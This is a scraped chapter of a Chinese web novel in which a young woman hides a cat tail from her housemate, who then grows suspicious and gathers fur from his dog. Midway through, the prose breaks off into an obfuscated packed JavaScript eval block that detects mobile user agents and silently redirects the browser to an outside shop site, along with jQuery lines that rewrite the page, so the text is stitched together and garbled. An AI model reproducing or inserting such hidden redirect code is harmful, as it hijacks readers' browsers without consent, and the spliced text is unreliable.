“咔哒——”
门被打开了。
宋时寒从门缝里一眼就望见一双白花花的大腿。
晃得他不敢睁眼。
“你……你怎么没穿裤子……”
开门前满腔的担忧一时卡在了嘴边。
阮安两眼一亮,像是立刻抓住了机会:
“对!我没穿裤子!所以你快把门关上!不许进来了!”
可宋时寒总觉得阮安似乎有事瞒着自己。
万一是受伤了?不愿意让自己知道?
他强硬地推了推门。
尽管门的另一边,阮安已经很用力地顶住了。
但宋时寒之前练过打戏,又长期健身,因此比一般人力气更大一些,也比猫大。
所以门缝还是一点点撑开了。
在阮安惊惶的神情中,宋时寒一只骨节分明的大手终于将门撑个大开。
没撑到九十度是因为,阮安正畏畏缩缩地躲在门后面不肯出来。
宋时寒走进房间后,没有第一时间把阮安拽出来。
而是温和地,从床边拿起被随意踢掉的长裤,把两个卷在一起的裤腿也好好整理了出来。
他背过身,摸索着将长裤朝阮安递去:
“你先穿上。”
看着朝自己靠近的宋时寒,阮安的心几乎提到了嗓子眼!
宋时寒虽然出于礼貌,目光暂时避开了自己。
但是,只要他一扭头!
就能看见自己屁股后面那根垂在两腿中间的尾巴!
怎么办!怎么办!
“哦——”
阮安尽可能地拖长了语调,一双眼睛却四处乱瞄,寻找出逃路线。
可宋时寒的位置拦在自己和门口中间,窗户也是紧闭的。
她急中生智,忽然看见了宋时寒朝自己递过来的长裤,有了主意。
阮安虚张声势:
“你!不许偷看!我穿裤子的时候你先出去!”
宋时寒闻言有些无奈,但也默默松了一口气。
他感受到阮安扯住了裤子的另一端后,就背着脸,走回了门口。
只是一只手屈肘扶在了门框内侧。
这样如果阮安强行关门,就一定会夹到他。
大概是意识到了事态紧急,情绪低落。
阮安那条无法无天的尾巴也闷闷不乐垂在两腿中间,总算被阮安牢牢逮住,塞进了右腿裤管。
从裤管多出来的那一小截尾巴尖。
阮安又绕了个弯,从下端塞回了裤管。
尾巴不舒服地扭着,立刻晃了晃想要抗议。
但阮安龇牙咧嘴地瞪了一眼,暗暗用被抓走的后果无声威胁了一通,尾巴这才安分下来。
“我穿好了!你可以进来了!“
阮安又拽了拽裤腿,自以为看不出什么异样了,这才朝门口喊道,
“但你只能看一眼!”
“好。”宋时寒的声音已经恢复了沉稳,“确认你没事,我就离开。”
那双棱角分明的眉眼在获得许可之后,这才朝着阮安看来。
那双灵动活泼的猫眼防贼一样盯着自己,脸颊上是还没有褪去的绯红。
宋时寒仔细地端详着阮安的神情,确认没有干涸的泪痕。
“你出来走两步。”
宋时寒不放心,生怕自己看不见的地方可能有隐藏的伤口。
阮安撅着个嘴,但是生怕他起疑。只好一边在心底告诫尾巴不要乱动,一边小心谨慎地往外走,尽可能保持正面对着宋时寒。
在宋时寒担忧的注视下,阮安就这样螃蟹横行一般,从门后挪到了床边。
宋时寒不是傻子。
也不是瞎子。
终于,在阮安心惊肉跳地移动中,宋时寒还是开口了:
“等等!”
可在这一瞬间,阮安也迅速行动!
双腿发力!
猛地弹起!
从地上直接跳到了床上自己垒起的小窝后面,谨慎地只露一个脑袋,观察宋时寒的反应。
宋时寒的神情,显然猝不及防出现了一瞬间的空白。
虽然见惯了小比在家里冲来冲去,但是陡然目睹那么大一个活人——“蹭”的一下跳那么高,那么远!
宋时寒还是十分震撼的。
他甚至面无表情地捏了下自己大腿。
疼的。
不是做梦。
所以……他的目光又带着三分困惑,三分茫然,四分不知所措,望向了只露出一颗脑袋的阮安。
“看什么看!”
阮安越心虚,就越露出一副凶巴巴的模样。
宋时寒下意识回答:“看你有没有受伤……”
话说到这儿,宋时寒才回过劲来。
这何止是没有受伤,阮安这状态简直能腾云驾雾、御剑飞行。
确实……不像受伤的样子。
他茫然地点点头。
心头的忧虑似乎解决了。
这时,宋时寒才分出精力来,注意到了床上的景象。
床褥枕头围成了一个巨大的圆形的窝。
而圆形的最上层,铺满了之前从自己衣柜里拿来的衣服。
宋时寒还没彻底缓过神来的大脑,又“轰”的一下,像是被烧宕机了。
“这,这是什么?”
“这是我的窝啊!”
阮安见话题转移,神情总算不再担惊受怕。看宋时寒的目光又嚣张起来,好像在说“这都没见识”。
“那我的这些衣服……”
宋时寒欲言又止。
“干嘛?你要拿回去?”
阮安一下警觉起来,再次腾空弹起拿起,稳稳地跳进了大窝的正中央。
她仰面躺着,四肢铺开,尽可能更多地压住那些衣服,眼神警惕:
“你想都不要想!这是你给我的道歉补偿!
你进来看都看完了!还想做什么?”
宋时寒看着阮安浑身都贴在自己的衣服上,总觉得心里有种奇怪的感受。
似乎紧贴着阮安白得晃眼的皮肤的,不是衣服布料……而是自己。
宋时寒强行按捺下奇怪的感受,不敢多想。
他已经确认过阮安没有受伤了,也没有继续留下的理由了。
宋时寒只能抓了把头发:“那你有事叫我。”
在阮安警惕的注视下,宋时寒总算离开了。
“呼——还好没有被发现。”
她又朝身后捞了一把,忽然捞了个空。
阮安抬起身子,发现原本被撑得鼓鼓囊囊的右腿裤管里,尾巴不知道什么时候消失了。
尾椎骨那块皮肤光滑如初,毫无异样。
阮安不解地皱起了眉头。这到底是怎么一回事呀?
*
宋时寒回去之后,并没有完全放下心来。
虽然确定了阮安并没有受伤,但她拔地腾空的一幕还在他眼前不停回放,宋时寒觉得自己大脑皮层都要光滑了。
人,真的能做到这样吗?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093999|195575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
宋时寒以前练打戏的时候,见过那些武行的师傅。虽说从小练过童子功,是会让人拳脚出众,但是这种程度的弹跳力……
宋时寒觉得自己可能耽误了一个奥运冠军。
门外传来的“wer!wer!”声打断了他的思绪。
他回过头,就看见在自己门口拱来拱去的不安小狗,自己叼来了牵引绳,催他出去玩。
经过阮安的教导,小比已经学会了合理的叫人方式,一般不再一言不合乱拉乱尿来表示不满了!
宋时寒撇开思绪,对着小比喊道:“等一下!我换身衣服就带你出门!”
家里住进了异性之后,宋时寒在换衣服的时候也不像以前那样随心所欲了。
不仅洗澡出来的时候扣子扣得严丝合缝,平常换衣服更是门窗关严。
米白色的家居服被匆匆脱下,宋时寒换上了一套浅色的运动服。
他一边安慰着小比,说“快了快了”,一边准备将居家服整齐叠放在床头。
可忽然,他拉齐裤脚的动作一顿。
米白色的裤脚上,沾上了几根不长不短的毛。
宋时寒拈在手上,仔细分辨着——
是橘黄色的。
和门外小比的颜色有些接近,又似乎有些区别。
“wer!wer!”
小比不耐烦地扒拉着门缝,催促着宋时寒。
宋时寒只得从床头抽了一张餐巾纸,将毛发包起来,放进衣柜的抽屉里。
匆忙做完一切推开门后,小比全包眼线就这样从下往上斜瞪着宋时寒。
宋时寒蹲下来,摸摸狗头,把牵引绳套好。
阮安的房间门还是关的。
宋时寒敲了敲门,说了一声自己遛狗去了。
听见回应,才带着早已不耐烦地小比出门去。
屋外,阳光晒在身上暖洋洋的。
不仅小比欢乐得不行,宋时寒也觉得心情开朗了些许。
这样的日子,让他觉得好像回到了自己的事业还在蒸蒸日上的时候。
但……又是不同的。
总归,不再是死气沉沉,混吃等死的样子了。
小比无知无觉,在草坪上一个劲地撒欢打滚。
宋时寒不知怎么的,回想着阮安跳到床上的动作,也试着原地做了几个抱膝跳。
很明显,他能感觉出来,自己没有阮安跳得高。
自己的高度大概在一米左右,能稳稳停留在床上。
可如果自己没有眼花的话,阮安是划过一道抛物线,越过床沿和那一座“窝”,稳稳落下。
回去的时候,宋时寒忽然朝小比招了招手。
小比玩得很尽兴,于是乐颠颠地扑棱着大耳朵跑了过来。
宋时寒的手指停留在了后背棕色的部分上。
“wer!”
小比忽然感受到了什么,猛地跳了起来!
它瞪圆了全包眼线,恶狠狠地看向宋时寒!
宋时寒脸不红心不跳地指着不远处地上的落叶:“帮你拍掉的。”
“wer?”
小比叫得依然很大声,但是语气已经不是很坚定了。
宋时寒把落叶树叶捡起来,放回小比的背上,又演示了一遍拍掉的动作:
“喏,就是这样。我骗你做什么。”
小比相信了,转而对着那片树叶又是一顿狂吠警告。
宋时寒面色如常,任由它闹。
只是捏紧了手中一小撮棕色狗毛。